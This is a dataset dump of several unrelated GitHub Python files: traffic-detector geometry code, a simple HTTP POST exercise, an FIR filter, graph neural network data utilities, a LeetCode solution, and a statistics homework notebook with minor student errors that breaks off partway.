lonlat:\n geom = [Point(xy) for xy in df.lonlat]\n df[f'detector_{i}'] = df.lonlat\n else:\n geom = [Point(xy) for xy in df.xy]\n df[f'detector_{i}'] = df.xy\n gdf = pd.concat([gdf, df[f'detector_{i}']], axis=1)\n gdf.insert(len(gdf.columns), 'detector_bearing_' + str(i), bearing)\n gdf_ind = gdf[['_id', 'n1', 'n2', 'detector_' + str(i), 'detector_bearing_' + str(i)]]\n gdf_ind = gpd.GeoDataFrame(gdf_ind, crs='WGS84', geometry=geom)\n individ_gdf.append(gdf_ind)\n if double_loops:\n for i in range(1, n_det + 1):\n a = pd.Series(gdf['detector ' + str(i) + 'bis'])\n a_x = list(a.apply(lambda p: p.x))\n a_y = list(a.apply(lambda p: p.y))\n p_d = pd.Series(gdf['bearing ' + str(i + n_det)])\n p_x = list(p_d.apply(lambda p: p.x))\n p_y = list(p_d.apply(lambda p: p.y))\n p = Proj(proj='utm', zone=34, ellps='WGS84', preserve_units=False)\n lon, lat = p(a_x, a_y, inverse=True)\n c = {'lon': lon, 'lat': lat}\n df = pd.DataFrame(c)\n df['lonlat'] = list(zip(df.lon, df.lat))\n df['xy'] = list(zip(a_x, a_y))\n # Bearing points coordinates transformation\n p_lon, p_lat = p(p_x, p_y, inverse=True)\n p_c = {'lon_p': p_lon, 'lat_p': p_lat}\n df_p = pd.DataFrame(p_c)\n p1 = [tuple(xy) for xy in zip(df.lat, df.lon)]\n p2 = [tuple(xy) for xy in zip(df_p.lat_p, df_p.lon_p)]\n bearing = [cpb.calculate_initial_compass_bearing(p1[j], p2[j]) for j in range(0, len(p1))]\n gdf = gdf.drop(['detector ' + str(i) + 'bis'], axis=1)\n gdf = gdf.drop(['bearing ' + str(i + n_det)], axis=1)\n if lonlat:\n geom = [Point(xy) for xy in df.lonlat]\n df[f'detector_{i}bis'] = df.lonlat\n else:\n geom = [Point(xy) for xy in df.xy]\n df[f'detector_{i}bis'] = df.xy\n gdf = pd.concat([gdf, df[f'detector_{i}bis']], axis=1)\n gdf.insert(len(gdf.columns), 'detector_bearing_' + str(i) + 'bis', bearing)\n gdf_ind = gdf[['_id', 'n1', 'n2', 'detector_' + str(i) + 'bis', 'detector_bearing_' + str(i) + 'bis']]\n gdf_ind = gpd.GeoDataFrame(gdf_ind, crs='WGS84', geometry=geom)\n individ_gdf.append(gdf_ind)\n gdf = gdf.drop(['geometry'], axis=1)\n if lonlat:\n gdf.attrs['crs'] = crs_pneuma\n gdf.attrs['lonlat'] = True\n else:\n gdf.attrs['crs'] = crs_pneuma_proj\n gdf.attrs['lonlat'] = False\n gdf.attrs['n_det'] = n_det\n new_gdf.append(gdf)\n new_gdf.append(individ_gdf)\n return new_gdf\n\n\ndef make_detector_edges(gdf, distance, double_loops=False, b_begin=True, b_end=False):\n if type(gdf) is list:\n gdf = gdf[0] # Selecting the dataframe with all detectors together (subject to output of previous functions)\n n_det = gdf.attrs['n_det']\n lonlat = gdf.attrs['lonlat']\n gdf_edges = []\n gdf_edges_all = gdf[['_id', 'n1', 'n2', 'highway', 'lanes', 'length']]\n if double_loops:\n gdf_edges_all = gdf[['_id', 'n1', 'n2', 'highway', 'lanes', 'length', 'loop_distance']]\n gdf_edges.append(gdf_edges_all)\n for ind in range(1, n_det + 1):\n e = []\n f = []\n b_b = []\n b_e = []\n for i, j in gdf.iterrows():\n b1 = gdf[f'detector_bearing_{ind}'][i] - 90\n b2 = gdf[f'detector_bearing_{ind}'][i] + 90\n if double_loops:\n if b_end and not b_begin:\n b1 = gdf[f'detector_bearing_{ind}bis'][i] - 90\n b2 = gdf[f'detector_bearing_{ind}bis'][i] + 90\n point = (gdf[f'detector_{ind}'][i][0], gdf[f'detector_{ind}'][i][1])\n point1 = cpb.get_coordinates(b1, point, distance, lonlat=lonlat)\n point2 = cpb.get_coordinates(b2, point, distance, lonlat=lonlat)\n d_edge = LineString([point1, point2])\n e.append(d_edge)\n b_b.append((b1 + 360) % 360)\n if double_loops:\n if b_end:\n b1 = gdf[f'detector_bearing_{ind}bis'][i] - 90\n b2 = gdf[f'detector_bearing_{ind}bis'][i] + 90\n point = (gdf[f'detector_{ind}bis'][i][0], gdf[f'detector_{ind}bis'][i][1])\n point1 = cpb.get_coordinates(b1, point, distance, lonlat=lonlat)\n point2 = cpb.get_coordinates(b2, point, distance, lonlat=lonlat)\n d_edge = LineString([point1, point2])\n f.append(d_edge)\n b_e.append((b1 + 360) % 360)\n gdf_edges_all.insert(len(gdf_edges_all.columns), f'det_edge_{ind}', e)\n if double_loops:\n gdf_edges_all.insert(len(gdf_edges_all.columns), f'det_edge_{ind}bis', f)\n gdf_edges_all.insert(len(gdf_edges_all.columns), f'det_bearing_{ind}', b_b)\n if double_loops:\n gdf_edges_all.insert(len(gdf_edges_all.columns), f'det_bearing_{ind}bis', b_e)\n gdf_edge = gdf[['n1', 'n2']]\n gdf_edge = gpd.GeoDataFrame(gdf_edge, geometry=e)\n gdf_edges.append(gdf_edge)\n if double_loops:\n gdf_edge = gdf[['n1', 'n2']]\n gdf_edge_bis = gpd.GeoDataFrame(gdf_edge, geometry=f)\n gdf_edges.append(gdf_edge_bis)\n gdf_edges_all.attrs['crs'] = gdf.attrs['crs']\n gdf_edges_all.attrs['lonlat'] = gdf.attrs['lonlat']\n gdf_edges_all.attrs['n_det'] = gdf.attrs['n_det']\n gdf_edges[0] = gdf_edges_all\n g = [tuple(xy) for xy in zip(gdf_edges_all['n1'], gdf_edges_all['n2'])]\n gdf_edges[0].insert(len(gdf_edges_all.columns), 'edge', g)\n print(gdf_edges_all.attrs)\n return gdf_edges\n\n\ndef edge_features(gdf_special, distance, lonlat=False, select_traffic_signals=True):\n if gdf_special is not None:\n assert {'_id', 'lat', 'lon', 'x', 'y', 'bearing', 'highway'}.issubset(set(gdf_special.columns))\n gdf_special = gdf_special.rename(columns={'highway': 'feature'})\n gdf_special = gdf_special.assign(lonlat=[tuple(xy) for xy in zip(gdf_special.lon, gdf_special.lat)],\n xy=[tuple(xy) for xy in zip(gdf_special.x, gdf_special.y)])\n gdf_special.reset_index(inplace=True)\n gdf_special.set_index(['_id', 'index'], inplace=True)\n gdf_special.sort_index(inplace=True)\n gdf_special = gdf_special[~gdf_special.junction]\n ft1 = gdf_special['bearing'] - 90\n ft2 = gdf_special['bearing'] + 90\n if lonlat:\n df_ft = gdf_special.lonlat\n crs = crs_pneuma\n else:\n df_ft = gdf_special.xy\n crs = crs_pneuma_proj\n point1 = [cpb.get_coordinates(ft1[i], df_ft.loc[i], distance, lonlat=lonlat) for i in gdf_special.index]\n point2 = [cpb.get_coordinates(ft2[i], df_ft.loc[i], distance, lonlat=lonlat) for i in gdf_special.index]\n ft_geom = [LineString(xy) for xy in zip(point1, point2)]\n gdf_special = gdf_special.drop('geometry', axis=1)\n\n df_features = gpd.GeoDataFrame(gdf_special, crs=crs, geometry=ft_geom)\n if select_traffic_signals:\n df_features = df_features[(df_features['feature'] == 'traffic_signals')\n | (df_features['crossing'] == 'traffic_signals') |\n (df_features['traffic_signals'].isin(['signal', 'traffic_lights']))]\n df_features['det_signal1'] = df_features['geometry']\n df_features.attrs['lonlat'] = lonlat\n df_features.attrs['crs'] = crs\n df_features.attrs['n_det'] = 1\n else:\n df_features = []\n return df_features\n\n\ndef help_det_proj(row, column_name):\n p = row[column_name]\n e1 = (row['x1'], row['y1'])\n e2 = (row['x2'], row['y2'])\n _, t = distxy.project(s1=e1, s2=e2, p=p)\n return t","repo_name":"JoachimLandtmeters/pNEUMA_mastersproject","sub_path":"pneumapackage/virtualdetector.py","file_name":"virtualdetector.py","file_ext":"py","file_size_in_byte":29565,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"36054448186","text":"#!/usr/bin/python3\n\"\"\"Script to make a post request to a given url\"\"\"\n\n\nif __name__ == '__main__':\n import requests\n from sys import argv\n\n kwargs = {\n 'url': argv[1],\n 'data': {\n 'email': argv[2]\n }\n }\n\n response = requests.post(**kwargs)\n print(response.text)\n","repo_name":"Soria-c/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/6-post_email.py","file_name":"6-post_email.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27155669955","text":"'''\ndifference equation\ny(n) = x(n) + x(n-1) + ... + x(n-N+1)\n'''\ntry:\n from iir_filter.poly import Polyz\nexcept ModuleNotFoundError:\n from poly import Polyz\n\ndef fir_filter(in_put, list_filter): \n if isinstance(list_filter, list):\n pass\n elif isinstance(list_filter, Polyz):\n list_filter = list_filter.coeffs\n else:\n raise Exception(\"list_filter should be list or Polyz\")\n length = len(in_put)\n N = len(list_filter)\n list_filter_flip = list(reversed(list_filter))\n out_put = []\n for index in range(length):\n if index + 1 < N:\n list_coef = list_filter_flip[N-1-index: ]\n list_input = in_put[0: index+1] # length: index+1\n out_put.append(sum([coef * item for (coef, item) in list(zip(list_coef, list_input))]))\n else:\n list_input = in_put[index-N+1: index+1] # length: N\n out_put.append(sum([coef * item for (coef, item) in list(zip(list_filter_flip, list_input))]))\n return out_put\n\n\nif __name__ == \"__main__\":\n in_put = [1, 2, 3, 4, 5]\n list_filter = [2, 3, 1]\n out_put = fir_filter(in_put, list_filter)\n print(out_put)\n\n\n\n","repo_name":"dassein/DSP_method","sub_path":"iir_filter/fir_filter.py","file_name":"fir_filter.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33382737568","text":"import numpy as np\nimport scipy.sparse as sp\nimport torch\nimport math\n\nimport pickle as pkl\nimport networkx as nx\nfrom scipy.sparse.linalg.eigen.arpack import eigsh\nimport sys\n\nimport random\n\ndef encode_onehot(labels):\n classes = set(labels)\n classes_dict = {c: np.identity(len(classes))[i, :] for i, c in\n enumerate(classes)}\n labels_onehot = np.array(list(map(classes_dict.get, labels)),\n dtype=np.int32)\n return labels_onehot\n\ndef normalize(mx):\n \"\"\"Row-normalize sparse matrix\"\"\"\n rowsum = np.array(mx.sum(1))\n r_inv = np.power(rowsum, -1).flatten()\n r_inv[np.isinf(r_inv)] = 0.\n r_mat_inv = sp.diags(r_inv)\n mx = r_mat_inv.dot(mx)\n return mx\n\ndef accuracy(output, labels):\n preds = output.max(1)[1].type_as(labels)\n correct = preds.eq(labels).double()\n correct = correct.sum()\n return correct / len(labels)\n\n\ndef sparse_mx_to_torch_sparse_tensor(sparse_mx):\n \"\"\"Convert a scipy sparse matrix to a torch sparse tensor.\"\"\"\n sparse_mx = sparse_mx.tocoo().astype(np.float32)\n # print(sparse_mx.shape)(2708, 2708) 2708 * 2708ではない\n indices = torch.from_numpy(\n np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n values = torch.from_numpy(sparse_mx.data)\n shape = torch.Size(sparse_mx.shape)\n # print(indices.shape) #torch.Size([2, 13264])\n return torch.sparse.FloatTensor(indices, values, shape)\n\n\ndef preprocess_features(features):\n \"\"\"Row-normalize feature matrix and convert to tuple representation\"\"\"\n rowsum = np.array(features.sum(1))\n rowsum += 1e-15\n r_inv = np.power(rowsum, -1).flatten()\n r_inv[np.isinf(r_inv)] = 0.\n r_mat_inv = sp.diags(r_inv)\n features = r_mat_inv.dot(features)\n return features\n\ndef sample_mask(idx, l):\n mask = np.zeros(l)\n mask[idx] = 1\n return np.array(mask, dtype=np.bool)\n\ndef sample_labels(labels, k, sampling='random'):\n n_class = labels.shape[1]\n mask = np.zeros(labels.shape[0])\n for i in range(n_class):\n ids = np.nonzero(labels[:, i])[0]\n if k > len(ids):\n print('Sample size larger than number of labelled examples for class ' + str(i))\n return\n if sampling == 'random':\n sampled = np.random.choice(ids, k, replace=False)\n mask[sampled] = 1\n if sampling == 'degree':\n sampled = np.argsort(D[ids])[-k:]\n mask[sampled] = 1\n return np.array(mask, dtype=np.bool)\n\n\ndef split_data(labels, n_train, n_test=1000, n_val=500, sampling='random'):\n n = labels.shape[0]\n label_mask = list(np.sum(labels, axis=1) == 1)\n train_mask = sample_labels(labels, n_train, sampling=sampling) #(2708,) boolean 9割false\n test_val_mask = label_mask * np.invert(train_mask)\n test_val_idx = np.nonzero(test_val_mask == True)[0]\n test_idx = np.random.choice(test_val_idx, n_test, replace=False) #replaceによって同じデータを二回取らない\n val_idx = list(set(test_val_idx) - set(test_idx))\n val_idx = np.random.choice(val_idx, n_val, replace=False)\n test_mask = sample_mask(test_idx, n)\n val_mask = sample_mask(val_idx, n)\n train_idx = list(set(np.nonzero(train_mask)[0]))\n return train_idx, test_idx, val_idx\n\ndef rampup(epoch, scaled_unsup_weight_max, exp=5.0, rampup_length=80):\n if epoch < rampup_length:\n p = max(0.0, float(epoch)) / float(rampup_length)\n p = 1.0 - p\n return math.exp(-p * p * exp) * scaled_unsup_weight_max\n else:\n return 1.0 * scaled_unsup_weight_max\n\ndef get_scaled_unsup_weight_max(num_labels, X_train_shape, unsup_weight_max=100.0):\n return unsup_weight_max * 1.0 * num_labels / X_train_shape\n\n\n\n\ndef parse_index_file(filename):\n \"\"\"Parse index file.\"\"\"\n index = []\n for line in open(filename):\n index.append(int(line.strip()))\n return index\n\ndef sample_mask(idx, l):\n \"\"\"Create mask.\"\"\"\n mask = np.zeros(l)\n mask[idx] = 1\n return np.array(mask, dtype=np.bool)\n\ndef normalize_adj(mx):\n \"\"\"Row-normalize sparse matrix\"\"\"\n rowsum = np.array(mx.sum(1))\n r_inv_sqrt = np.power(rowsum, -0.5).flatten()\n r_inv_sqrt[np.isinf(r_inv_sqrt)] = 0.\n r_mat_inv_sqrt = sp.diags(r_inv_sqrt)\n return mx.dot(r_mat_inv_sqrt).transpose().dot(r_mat_inv_sqrt)\n\ndef normalize_features(mx):\n \"\"\"Row-normalize sparse matrix\"\"\"\n rowsum = np.array(mx.sum(1))\n r_inv = np.power(rowsum, -1).flatten()\n r_inv[np.isinf(r_inv)] = 0.\n r_mat_inv = sp.diags(r_inv)\n mx = r_mat_inv.dot(mx)\n return mx\n\ndef previous_load_data(path=\"./data/cora/\", dataset=\"cora\" ,n_train = 140):\n \"\"\"Load citation network dataset (cora only for now)\"\"\"\n print('Loading {} dataset...'.format(dataset))\n\n idx_features_labels = np.genfromtxt(\"{}{}.content\".format(path, dataset), dtype=np.dtype(str))\n features = sp.csr_matrix(idx_features_labels[:, 1:-1], dtype=np.float32)\n labels = encode_onehot(idx_features_labels[:, -1])\n\n # build graph\n idx = np.array(idx_features_labels[:, 0], dtype=np.int32)\n idx_map = {j: i for i, j in enumerate(idx)}\n edges_unordered = np.genfromtxt(\"{}{}.cites\".format(path, dataset), dtype=np.int32)\n edges = np.array(list(map(idx_map.get, edges_unordered.flatten())), dtype=np.int32).reshape(edges_unordered.shape)\n adj = sp.coo_matrix((np.ones(edges.shape[0]), (edges[:, 0], edges[:, 1])), shape=(labels.shape[0], labels.shape[0]), dtype=np.float32)\n\n # build symmetric adjacency matrix\n adj = adj + adj.T.multiply(adj.T > adj) - adj.multiply(adj.T > adj)\n # print(adj)\n # print(features)\n\n features = normalize_features(features)\n adj = normalize_adj(adj + sp.eye(adj.shape[0]))\n\n #idx_train = range(140)\n idx_train = range(n_train)\n idx_val = range(200, 500)\n idx_test = range(500, 1500)\n\n adj = torch.FloatTensor(np.array(adj.todense()))\n features = torch.FloatTensor(np.array(features.todense()))\n labels = torch.LongTensor(np.where(labels)[1])\n\n idx_train = torch.LongTensor(idx_train)\n idx_val = torch.LongTensor(idx_val)\n idx_test = torch.LongTensor(idx_test)\n\n return adj, features, labels, idx_train, idx_val, idx_test\n\ndef new_load_data(path=\"./data/cora/\", dataset=\"cora\" ,n_train = 140):\n \"\"\"Load citation network dataset (cora only for now)\"\"\"\n print('Loading {} dataset...'.format(dataset))\n\n idx_features_labels = np.genfromtxt(\"{}{}.content\".format(path, dataset), dtype=np.dtype(str))\n features = sp.csr_matrix(idx_features_labels[:, 1:-1], dtype=np.float32)\n labels = encode_onehot(idx_features_labels[:, -1])\n\n # build graph\n idx = np.array(idx_features_labels[:, 0], dtype=np.int32)\n idx_map = {j: i for i, j in enumerate(idx)}\n edges_unordered = np.genfromtxt(\"{}{}.cites\".format(path, dataset), dtype=np.int32)\n edges = np.array(list(map(idx_map.get, edges_unordered.flatten())), dtype=np.int32).reshape(edges_unordered.shape)\n adj = sp.coo_matrix((np.ones(edges.shape[0]), (edges[:, 0], edges[:, 1])), shape=(labels.shape[0], labels.shape[0]),\n dtype=np.float32)\n\n # build symmetric adjacency matrix\n adj = adj + adj.T.multiply(adj.T > adj) - adj.multiply(adj.T > adj)\n\n features = normalize_features(features)\n adj = normalize_adj(adj + sp.eye(adj.shape[0]))\n\n label_num = len(labels[0])\n\n adj = torch.FloatTensor(np.array(adj.todense()))\n features = torch.FloatTensor(np.array(features.todense()))\n labels = torch.LongTensor(np.where(labels)[1])\n selected_label = np.array([])\n for i in range(label_num):\n z = np.where(labels == i)\n z = list(z)\n z = z[0]\n sampled = np.random.choice(z, n_train, replace=False) # 重複なし\n selected_label = np.append(selected_label, sampled)\n\n #print(selected_label)\n #idx_train = range(n_train)\n #idx_val = range(200, 500)\n #idx_test = range(500, 1500)\n\n selected_label = torch.LongTensor(selected_label)\n remain_labels = np.arange(len(adj[0]))\n idx_train = selected_label\n\n remain_labels = np.delete(remain_labels, idx_train)\n np.set_printoptions(edgeitems=100)\n random.shuffle(remain_labels)\n # print(remain_labels)\n\n idx_val = remain_labels[:300]\n idx_test = remain_labels[300:1300]\n # print(idx_val)\n # print(idx_test)\n\n return adj, features, labels, idx_train, idx_val, idx_test\n\ndef load_struc(path=\"./data/cora/\", dataset=\"cora\"):\n path_w = 'data/cora_struc.txt'\n\n f = open(path_w)\n areas = f.read().splitlines()\n f.close()\n # print(type(areas))\n l = len(areas)\n arr = [[0] * 5] * l\n # print(arr)\n for i in range(l):\n score = areas[i].split(\" \")\n # print(len(score))\n for j in range(len(score)):\n # print(score[j])\n # print(float(score[j]))\n arr[i][j] = float(score[j])\n\n arr = np.array(arr)\n arr = torch.from_numpy(arr)\n return arr\n\n\n\n############################################planetoid#######################################################\nclass Data(object):\n def __init__(self, adj, edge_list, features, labels, train_mask, val_mask, test_mask):\n self.adj = adj\n self.edge_list = edge_list\n self.features = features\n self.labels = labels\n self.train_mask = train_mask\n self.val_mask = val_mask\n self.test_mask = test_mask\n self.num_features = features.size(1)\n self.num_classes = int(torch.max(labels)) + 1\n\n def to(self, device):\n self.adj = self.adj.to(device)\n self.features = self.features.to(device)\n self.labels = self.labels.to(device)\n self.train_mask = self.train_mask.to(device)\n self.val_mask = self.val_mask.to(device)\n self.test_mask = self.test_mask.to(device)\n\ndef load_planetoid(dataset_str):\n names = ['x', 'y', 'tx', 'ty', 'allx', 'ally', 'graph']\n objects = []\n for name in names:\n with open(\"data/ind.{}.{}\".format(dataset_str, name), 'rb') as f:\n if sys.version_info > (3, 0):\n out = pkl.load(f, encoding='latin1')\n else:\n out = objects.append(pkl.load(f))\n\n if name == 'graph':\n objects.append(out)\n else:\n out = out.todense() if hasattr(out, 'todense') else out\n objects.append(torch.Tensor(out))\n\n x, y, tx, ty, allx, ally, graph = tuple(objects)\n test_idx = parse_index_file(\"data/ind.{}.test.index\".format(dataset_str))\n train_idx = torch.arange(y.size(0), dtype=torch.long)\n val_idx = torch.arange(y.size(0), y.size(0) + 500, dtype=torch.long)\n sorted_test_idx = np.sort(test_idx)\n\n if dataset_str == 'citeseer':\n len_test_idx = max(test_idx) - min(test_idx) + 1\n tx_ext = torch.zeros(len_test_idx, tx.size(1))\n tx_ext[sorted_test_idx - min(test_idx), :] = tx\n ty_ext = torch.zeros(len_test_idx, ty.size(1))\n ty_ext[sorted_test_idx - min(test_idx), :] = ty\n\n tx, ty = tx_ext, ty_ext\n\n features = torch.cat([allx, tx], dim=0)\n features[test_idx] = features[sorted_test_idx]\n\n labels = torch.cat([ally, ty], dim=0).max(dim=1)[1]\n labels[test_idx] = labels[sorted_test_idx]\n\n edge_list = adj_list_from_dict(graph)\n edge_list = add_self_loops(edge_list, features.size(0))\n adj = normalize_adj_pla(edge_list)\n\n train_mask = index_to_mask(train_idx, labels.shape[0])\n val_mask = index_to_mask(val_idx, labels.shape[0])\n test_mask = index_to_mask(test_idx, labels.shape[0])\n\n data = Data(adj, edge_list, features, labels, train_mask, val_mask, test_mask)\n\n return adj, features, labels, train_idx, test_idx, val_idx\n\ndef adj_list_from_dict(graph):\n G = nx.from_dict_of_lists(graph)\n coo_adj = nx.to_scipy_sparse_matrix(G).tocoo()\n indices = torch.from_numpy(np.vstack((coo_adj.row, coo_adj.col)).astype(np.int64))\n return indices\n\n\ndef index_to_mask(index, size):\n mask = torch.zeros((size, ), dtype=torch.bool)\n mask[index] = 1\n return mask\n\ndef add_self_loops(edge_list, size):\n i = torch.arange(size).view(1, -1)\n self_loops = torch.cat((i, i), dim=0)\n edge_list = torch.cat((edge_list, self_loops), dim=1)\n return edge_list\n\n\ndef normalize_adj_pla(edge_list):\n row, col = edge_list\n deg = torch.bincount(row)\n deg_inv_sqrt = torch.pow(deg.to(torch.float), -0.5)\n deg_inv_sqrt[deg_inv_sqrt == float('inf')] = 0.0\n weight = torch.ones(edge_list.size(1))\n v = deg_inv_sqrt[row] * weight * deg_inv_sqrt[col]\n norm_adj = torch.sparse.FloatTensor(edge_list, v)\n return norm_adj\n\ndef preprocess_features_pla(features):\n rowsum = features.sum(dim=1, keepdim=True)\n rowsum[rowsum == 0] = 1\n features = features / rowsum\n return features","repo_name":"nonofefe/GCN_SSATT","sub_path":"exp_pytorch/exp/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17369441816","text":"# https://leetcode.com/problems/maximum-subarray/\n\nclass Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n queue = []\n result = max(nums)\n for num in nums:\n queue.append(num)\n while sum(queue) < 0:\n if queue == []:\n break\n queue.pop(0)\n\n result = max(result, sum(queue)) if queue != [] else result\n\n return result\n","repo_name":"joonyoungchoi/DailyAlgorithm","sub_path":"python/maximum_subarray.py","file_name":"maximum_subarray.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11670052741","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # DSCI 503 - Homework 04\n# ### Shahid Abdulaziz\n\n# In[1]:\n\n\nimport numpy as np\nimport math as mt\nimport matplotlib.pyplot as plt\n\n\n# ## Problem 1: Sample Mean and Variance\n\n# In[2]:\n\n\nx = [10, 16, 26, 12, 17, 22, 14, 12, 21, 16]\nn = len(x)\n\nmean = np.sum(x)/n\ndiff = [x-mean]\nvar = np.sum(np.power(diff,2))/n\n\n\nprint(\"Sample Mean: \"+str(\"%.2f\"% mean))\nprint(\"Sample Variance: \"+ str((var)))\n\n\n# In[3]:\n\n\nmean = np.mean(x)\nvar = np.var(diff, ddof = 1)\n\nprint(\"Sample Mean: \"+str(\"%.2f\"% mean))\nprint(\"Sample Variance: \"+ str((\"%.2f\"%var)))\n\n\n# ## Problem 2: Scoring a Regression Model\n\n# In[4]:\n\n\ndef find_sse(true_y, pred_y):\n SSE = np.sum(np.power(np.subtract(true_y, pred_y),2))\n \n return SSE\n \n \n\n\n# In[5]:\n\n\ntrue_y = [22.1, 17.9, 16.5, 14.3, 19.8, 23.7, 22.0, 18.4, 25.7, 19.2]\npred_1 = [21.4, 16.7, 17.9, 12.1, 22.1, 25.1, 21.7, 19.3, 23.4, 19.9]\npred_2 = [20.7, 18.1, 16.9, 13.6, 21.9, 24.8, 20.3, 21.1, 24.8, 18.4]\n\nsse_1 = find_sse(true_y, pred_1)\nsse_2 = find_sse(true_y,pred_2)\n\nprint(\"Model 1 SSE: \"+ str(\"%.2f\"% sse_1))\nprint(\"Model 2 SSE: \"+ str(\"%.2f\"% sse_2))\n\n\n# ## Problem 3: Classification Model\n\n# In[6]:\n\n\ndef find_accuracy(true_y, pred_y):\n accurate = np.sum(np.array(true_y) == np.array(pred_y))\n length = len(true_y)\n score = (accurate/length)*100\n \n \n \n return score\n\n\n# In[7]:\n\n\ntrue_diag = ['P', 'P', 'N', 'N', 'P', 'N', 'N', 'N', 'P', 'N', 'N', 'N', 'N', 'P', 'P', 'N', 'N',\n 'N', 'N', 'N']\n\npred_diag = ['N', 'P', 'N', 'P', 'P', 'N', 'P', 'N', 'P', 'N', 'N', 'N', 'P', 'P', 'P', 'N', 'N',\n 'N', 'P', 'N']\n\nprint(\"Model Accuracy:\", \"%.2f\" % find_accuracy(true_diag, pred_diag))\n\n\n# In[8]:\n\n\ntrue_labels = ['dog', 'dog', 'cat', 'dog', 'cat', 'cat', 'cat', 'dog', 'cat', 'cat', 'dog', 'cat',\n 'cat', 'dog', 'dog', 'dog', 'dog', 'cat', 'cat', 'cat', 'dog', 'dog', 'cat', 'cat']\n\npred_labels = ['dog', 'dog', 'cat', 'dog', 'cat', 'dog', 'cat', 'dog', 'cat', 'cat', 'dog', 'cat',\n 'cat', 'dog', 'cat', 'dog', 'dog', 'cat', 'dog', 'cat', 'dog', 'dog', 'cat', 'cat']\n\nprint(\"Model Accuracy:\", \"%.2f\" % find_accuracy(true_labels , pred_labels))\n\n\n# ## Problem 4: Classification Report\n\n# In[9]:\n\n\ndef classification_report(true_y, pred_y):\n classes = []\n classes = np.unique(true_y)\n \n Accuracy = find_accuracy(true_y, pred_y)\n TP = (np.sum( ( np.array(true_y) == np.array(pred_y)) & (np.array(true_y) == classes[1])) / np.sum(np.array(true_y) == classes[1]))*100\n FP = (np.sum( ( np.array(true_y) == np.array(pred_y)) & (np.array(true_y) == classes[1])) / np.sum(np.array(pred_y) == classes[1]))*100\n TN = (np.sum( ( np.array(true_y) == np.array(pred_y)) & (np.array(true_y) == classes[0])) / np.sum(np.array(true_y) == classes[0]))*100\n FN = (np.sum( ( np.array(true_y) == np.array(pred_y)) & (np.array(true_y) == classes[0])) / np.sum(np.array(pred_y) == classes[0]))*100\n print(\"Positive Class: \"+str(classes[1]) )\n print(\"Negative Class: \"+str(classes[0])+\"\\n\")\n \n print(\"Accuracy: \"+str(\"%.2f\"% Accuracy))\n print(\"Positive Precision: \"+str(\"%.2f\"% TP))\n print(\"Positive Recall: \"+str(\"%.2f\"% FP))\n print(\"Negative Precision: \"+str(\"%.2f\"% TN))\n print(\"Negative Precision: \"+str(\"%.2f\"% FN))\n \n\n\n# In[10]:\n\n\nclassification_report(true_diag,pred_diag )\n\n\n# In[11]:\n\n\nclassification_report(true_labels,pred_labels )\n\n\n# ## Problem 5: Transformation of Random Variables\n\n# In[25]:\n\n\nnp.random.seed(1)\n\n\nX = np.random.normal(0,.4,25000)\nY = np.exp(x)\n\nprint(\"Sample Mean of X: \"+str(\"%.4f\"% np.mean(x)))\nprint(\"Sample Mean of X: \"+str(\"%.4f\"% np.std(x, ddof =1)))\nprint(\"Sample Mean of Y: \"+str(\"%.4f\"% np.mean(Y)))\nprint(\"Sample Mean of X: \"+str(\"%.4f\"% np.std(x, ddof =1)))\n\n\n# In[13]:\n\n\n\nplt.figure(figsize=[12,4])\nplt.subplot(1, 2, 1)\nplt.hist(x, edgecolor = 'black', bins = 30, color = 'red' )\nplt.title(\"Histogram of X Values\")\n\n\nplt.subplot(1, 2, 2)\nplt.hist(Y, edgecolor = 'black', bins = 30, color = 'blue' )\nplt.title(\"Histogram of Y Values\")\n\n\n\nplt.show\n\n\n# In[29]:\n\n\nfigure, axes = plt.subplots(nrows=1, ncols=2, figsize=[12, 4])\n\naxes[0].hist(X, bins=30, edgecolor='black', color='pink',)\naxes[0].set_title('Histrogram of X Values')\naxes[1].hist(Y, bins=30, edgecolor='black', color='yellow',)\naxes[1].set_title('Histrogram of Y Values')\nplt.show()\n\n\n# In[14]:\n\n\nprint(\"Probability that Y is less than 0.5: \"+ str(\"%.4f\"% np.mean(Y < 0.5)))\nprint(\"Probability that Y is less than 1.0: \"+ str(\"%.4f\"% np.mean(Y < 1.0)))\nprint(\"Probability that Y is less than 2.0: \"+ str(\"%.4f\"% np.mean(Y < 2.0)))\n\n\n\n# ## Problem 6: Stochastic Linear Relationships\n\n# In[15]:\n\n\nnp.random.seed(1) \n\nx_vals = np.random.normal(10,2,200)\nerrors = np.random.normal(0,1.2,200)\ny_vals = 5.1 +.9 * x_vals +errors\n\n\nplt.figure(figsize=[8,6])\nplt.scatter(x=x_vals , y=y_vals , s=60, alpha=0.8, \n color='red', edgecolor='black')\nplt.xlabel('X Values')\nplt.ylabel('Y Values')\nplt.show()\n\n\n# In[16]:\n\n\ndiff_x = np.subtract(np.mean(x_vals),x_vals)\ndiff_y = np.subtract(np.mean(y_vals),y_vals)\n\n\n\nprint(\"Correlation between X and Y:\", str(\"%.4f\"% ((np.sum(np.multiply(diff_x, diff_y)))/(np.sqrt(np.sum(np.power(diff_x,2))*np.sum(np.power(diff_y,2)))))))\n\n\n# ## Problem 7: Relationship between Life Expectancy and Per Capita GDP\n\n# In[17]:\n\n\nimport pandas as pd\ndf = pd.read_csv('gapminder_data.txt', sep='\\t')\ncountry = df.country.values\nyear = df.year.values\ncontinent = df.continent.values\npopulation = df.population.values\nlife_exp = df.life_exp.values\npcgdp = df.gdp_per_cap.values\ngini = df.gini.values\n\n\n# In[18]:\n\n\ncontinent_list = ['africa', 'americas', 'asia', 'europe' ]\ncolor_list = ['red','blue','green','orange']\n\n\n# In[19]:\n\n\n\n\nfor i in range(0,len(continent_list)):\n\n sel = np.array((year == 2018) ) & np.array(continent == continent_list[i])\n \n \n 